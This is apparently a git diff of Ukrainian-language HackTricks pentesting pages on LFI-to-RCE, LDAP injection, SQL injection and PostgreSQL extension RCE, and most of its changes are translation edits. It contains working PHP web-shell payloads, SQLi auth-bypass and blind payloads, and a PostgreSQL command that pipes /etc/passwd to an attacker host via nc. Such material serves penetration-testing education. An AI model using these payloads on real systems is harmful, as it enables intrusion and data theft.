||||
### Через файл журналу Apache/Nginx
|
||||
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, як **`<?php system($_GET['c']); ?>`** і включити цей файл.
|
||||
Якщо сервер Apache або Nginx **вразливий до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **`<?php system($_GET['c']); ?>`** і включити цей файл.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там і **нічого іншого не буде виконано**.
|
||||
>
|
||||
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
|
||||
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
|
||||
Інші можливі шляхи до журналів:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -452,7 +452,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Via Email
|
||||
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити його в пошту користувача з шляхом, як **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити його в пошту користувача з шляхом, таким як **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
@ -480,9 +480,9 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### Через PHP сесії
|
||||
|
||||
Перевірте, чи використовує вебсайт PHP Session (PHPSESSID)
|
||||
Перевірте, чи використовує вебсайт PHP сесію (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
@ -561,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
Як [**пояснено в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент.
|
||||
Як [**пояснюється в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент.
|
||||
|
||||
Наступний запит створює файл у `/tmp/hello.php` з вмістом `<?=phpinfo()?>`:
|
||||
```bash
|
||||
@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Витік шляху
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що включається, має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи має **файл, що включається, PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Через вічне очікування + брутфорс
|
||||
|
||||
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** виконання PHP, ви могли б тоді **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
|
||||
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** під час виконання PHP, ви могли б **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -603,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
|
||||
|
||||
**Я не знаю, як це може бути корисно, але це може бути.**\
|
||||
&#xNAN;_Eнавіть якщо ви викликаєте PHP Фатальну Помилку, тимчасові файли PHP, що завантажуються, видаляються._
|
||||
&#xNAN;_Eнавіть якщо ви викликаєте Фатальну Помилку PHP, тимчасові файли PHP, що завантажуються, видаляються._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -612,6 +612,8 @@ lfi2rce-via-eternal-waiting.md
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Щоб експлуатувати цю вразливість, вам потрібно: **вразливість LFI, сторінка, де відображається phpinfo(), "file_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".**
|
||||
Щоб експлуатувати цю вразливість, вам потрібно: **Вразливість LFI, сторінка, де відображається phpinfo(), "file_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".**
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
@ -10,25 +10,27 @@
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Вам потрібно також змінити **payload** на початку експлойту (наприклад, для php-rev-shell), **REQ1** (це має вказувати на сторінку phpinfo і містити заповнення, тобто: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), та **LFIREQ** (це має вказувати на вразливість LFI, тобто: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Перевірте подвійну "%" під час експлуатації нульового символу)
|
||||
Вам потрібно також змінити **payload** на початку експлуатації (наприклад, для php-rev-shell), **REQ1** (це має вказувати на сторінку phpinfo і повинно містити заповнення, тобто: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), та **LFIREQ** (це має вказувати на вразливість LFI, тобто: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Перевірте подвійну "%" під час експлуатації нульового символу)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Теорія
|
||||
|
||||
Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється.
|
||||
|
||||
Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати назву тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.
|
||||
Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати ім'я тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.
|
||||
|
||||
У **Windows** файли зазвичай зберігаються в **C:\Windows\temp\php**
|
||||
|
||||
У **linux** назва файлу зазвичай є **випадковою** і розташована в **/tmp**. Оскільки назва випадкова, потрібно **витягти звідкись назву тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**".
|
||||
У **linux** ім'я файлу зазвичай є **випадковим** і розташоване в **/tmp**. Оскільки ім'я випадкове, потрібно **витягти звідкись ім'я тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Потім клієнт може **надіслати** **багато великих запитів** (використовуючи великі заголовки), **завантажуючи php** зворотний **shell**, чекати на **першу частину phpinfo()**, що повертається (де вказується назва тимчасового файлу), і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI.
|
||||
**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Потім клієнт може **надсилати** **багато великих запитів** (використовуючи великі заголовки) **завантажуючи php** зворотний **shell**, чекати на **першу частину phpinfo()**, що повертається (де вказується ім'я тимчасового файлу) і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI.
|
||||
|
||||
**Скрипт Python для спроби брутфорсити назву (якщо довжина = 6)**
|
||||
**Скрипт Python для спроби брутфорсити ім'я (якщо довжина = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
|
@ -14,9 +14,11 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** - це атака, що націлена на веб-додатки, які формують LDAP-інструкції з введення користувача. Вона відбувається, коли додаток **неправильно очищає** введення, що дозволяє зловмисникам **маніпулювати LDAP-інструкціями** через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпуляцій з даними.
|
||||
**LDAP Injection** - це атака, що націлена на веб-додатки, які формують LDAP-запити з введення користувача. Вона відбувається, коли додаток **неправильно очищає** введення, що дозволяє зловмисникам **маніпулювати LDAP-запитами** через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпуляцій з даними.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
@ -119,7 +121,7 @@ password=any
|
||||
|
||||
### Сліпа LDAP Ін'єкція
|
||||
|
||||
Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані та підтвердити можливу Сліпу LDAP Ін'єкцію:
|
||||
Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані, і підтвердити можливу Сліпу LDAP Ін'єкцію:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
@ -144,7 +146,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
(&(sn=administrator)(password=MB*)) : KO
|
||||
...
|
||||
```
|
||||
### Скрипти
|
||||
### Scripts
|
||||
|
||||
#### **Виявлення дійсних полів LDAP**
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Що таке SQL-ін'єкція?
|
||||
|
||||
**SQL-ін'єкція** — це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або змісті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
|
||||
**SQL-ін'єкція** - це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або контенті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
|
||||
|
||||
## Виявлення точок входу
|
||||
|
||||
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на введення, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
|
||||
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу **ефективного виходу з поточного контексту**. Ось кілька корисних прикладів:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -53,11 +53,11 @@ HQL does not support comments
|
||||
```
|
||||
### Підтвердження логічними операціями
|
||||
|
||||
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає однаковий вміст при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
|
||||
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає ідентичний контент при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
|
||||
|
||||
Аналогічно, застосування **математичних операцій** є ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
|
||||
Аналогічно, застосування **математичних операцій** слугує ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
|
||||
|
||||
Приклади, що демонструють підтвердження логічної операції:
|
||||
Приклади, що демонструють підтвердження логічних операцій:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
@ -66,7 +66,9 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Цей список слів був створений, щоб спробувати **підтвердити SQL-ін'єкції** запропонованим способом:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Підтвердження за допомогою часу
|
||||
|
||||
@ -93,7 +95,7 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, щоб **виконати складні операції**, які займатимуть кілька секунд. _Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
|
||||
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, який **виконає складні операції**, що займе кілька секунд. _Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
|
||||
|
||||
### Визначення бекенду
|
||||
|
||||
@ -146,7 +148,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Щоб визначити кількість стовпців у запиті, поступово коригуйте число, використане в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функції **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.
|
||||
Щоб визначити кількість стовпців у запиті, поступово коригуйте число, використане в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функціональні можливості **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -189,18 +191,18 @@ _Існує різний спосіб виявлення цих даних у к
|
||||
|
||||
## Використання прихованого об'єднання
|
||||
|
||||
Коли вихід запиту видимий, але об'єднаний ін'єкцію здається недосяжною, це свідчить про наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.
|
||||
Коли вихід запиту видимий, але об'єднаний ін'єкцію здається недосяжною, це означає наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.
|
||||
|
||||
Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільового DBMS.
|
||||
|
||||
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається об'єднаний запит, що полегшує експлуатацію ново доступної об'єднаної ін'єкції.
|
||||
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Після цього до вашого payload додається об'єднаний запит, що полегшує експлуатацію ново доступної об'єднаної ін'єкції.
|
||||
|
||||
Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Використання на основі помилок
|
||||
|
||||
Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\
|
||||
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних.
|
||||
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете встигнути скинути базу даних.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
@ -213,13 +215,13 @@ _Існує різний спосіб виявлення цих даних у к
|
||||
```
|
||||
## Використання Error Blind SQLi
|
||||
|
||||
Це **та сама ситуація, що й раніше**, але замість того, щоб розрізняти істинну/хибну відповідь на запит, ви можете **розрізняти** наявність **помилки** в SQL запиті чи ні (можливо, через те, що HTTP сервер зривається). Тому в цьому випадку ви можете викликати SQL помилку щоразу, коли правильно вгадуєте символ:
|
||||
Це **така ж ситуація, як і раніше**, але замість того, щоб розрізняти істинну/хибну відповідь на запит, ви можете **розрізняти** наявність **помилки** в SQL запиті чи ні (можливо, через те, що HTTP сервер зривається). Тому в цьому випадку ви можете викликати SQL помилку щоразу, коли правильно вгадуєте символ:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Використання Time Based SQLi
|
||||
## Використання SQLi на основі часу
|
||||
|
||||
У цьому випадку **немає** жодного способу **відрізнити** **відповідь** запиту на основі контексту сторінки. Але ви можете змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку в дії раніше, щоб [підтвердити вразливість SQLi](#confirming-with-timing).
|
||||
У цьому випадку **немає** жодного способу **відрізнити** **відповідь** запиту на основі контексту сторінки. Але ви можете змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше для [підтвердження вразливості SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -278,14 +280,16 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Рекомендований список**:
|
||||
|
||||
Вам слід використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: _**Pass1234.**_\
|
||||
&#xNAN;_(Ці payload також включені у великий список, згаданий на початку цього розділу)_
|
||||
Ви повинні використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: _**Pass1234.**_\
|
||||
&#xNAN;_(Ці payloads також включені у великий список, згаданий на початку цього розділу)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK Аутентифікація обхід
|
||||
### GBK Аутентифікація Бypass
|
||||
|
||||
Якщо ' екранується, ви можете використовувати %A8%27, а коли ' буде екрановано, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
IF ' екранізовано, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -300,7 +304,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Поліглотна ін'єкція (мультиконтекст)
|
||||
### Поліглотна ін'єкція (мультіконтекст)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
@ -332,11 +336,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли робиться спроба вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
|
||||
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли намагаються вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
Вантаж ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:
|
||||
Вантаж для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
@ -359,7 +363,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
```
|
||||
#### Використання десяткових або шістнадцяткових
|
||||
|
||||
За допомогою цієї техніки ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
|
||||
За допомогою цієї техніки ви можете витягти інформацію, створивши лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
|
||||
|
||||
Використовуючи **hex2dec** та **substr**:
|
||||
```sql
|
||||
@ -447,7 +451,7 @@ Basically you can use the scientific notation in unexpected ways for the WAF to
|
||||
|
||||
По-перше, зверніть увагу, що якщо **оригінальний запит і таблиця, з якої ви хочете витягти прапор, мають однакову кількість стовпців**, ви можете просто зробити: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Можливо **отримати доступ до третього стовпця таблиці без використання його назви** за допомогою запиту, подібного до наступного: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тому в sqlinjection це виглядатиме так:
|
||||
Можливо **отримати доступ до третього стовпця таблиці без використання його назви**, використовуючи запит, подібний до наступного: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тому в sqlinjection це виглядатиме так:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
|
@ -1,20 +1,20 @@
|
||||
# RCE з розширеннями PostgreSQL
|
||||
# RCE з PostgreSQL Розширеннями
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Розширення PostgreSQL
|
||||
|
||||
PostgreSQL було розроблено з можливістю розширення як основною функцією, що дозволяє безперешкодно інтегрувати розширення так, ніби це вбудовані функції. Ці розширення, по суті, бібліотеки, написані на C, збагачують базу даних додатковими функціями, операторами або типами.
|
||||
PostgreSQL був розроблений з можливістю розширення як основною функцією, що дозволяє безперешкодно інтегрувати розширення так, ніби це вбудовані функції. Ці розширення, по суті, бібліотеки, написані на C, збагачують базу даних додатковими функціями, операторами або типами.
|
||||
|
||||
З версії 8.1 і далі на бібліотеки розширень накладається специфічна вимога: їх потрібно компілювати з особливим заголовком. Без цього PostgreSQL не виконає їх, забезпечуючи використання лише сумісних і потенційно безпечних розширень.
|
||||
З версії 8.1 і далі на бібліотеки розширень накладається специфічна вимога: вони повинні бути скомпільовані з особливим заголовком. Без цього PostgreSQL не виконає їх, забезпечуючи використання лише сумісних і потенційно безпечних розширень.
|
||||
|
||||
Також пам'ятайте, що **якщо ви не знаєте, як** [**завантажити файли на жертву, зловживаючи PostgreSQL, вам слід прочитати цей пост.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE в Linux
|
||||
|
||||
**Для отримання додаткової інформації дивіться: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
**Для отримання додаткової інформації перегляньте: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументовано і є простим. Можна використовувати цей: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументований і є простим. Можна використовувати цей: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -73,7 +73,7 @@ $$ LANGUAGE 'plpgsql';
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Ця помилка пояснена в [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
Ця помилка пояснюється в [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажений у несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з файлів виходу модуля, після того як ви включили заголовок fmgr.h:
|
||||
>
|
||||
@ -81,7 +81,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
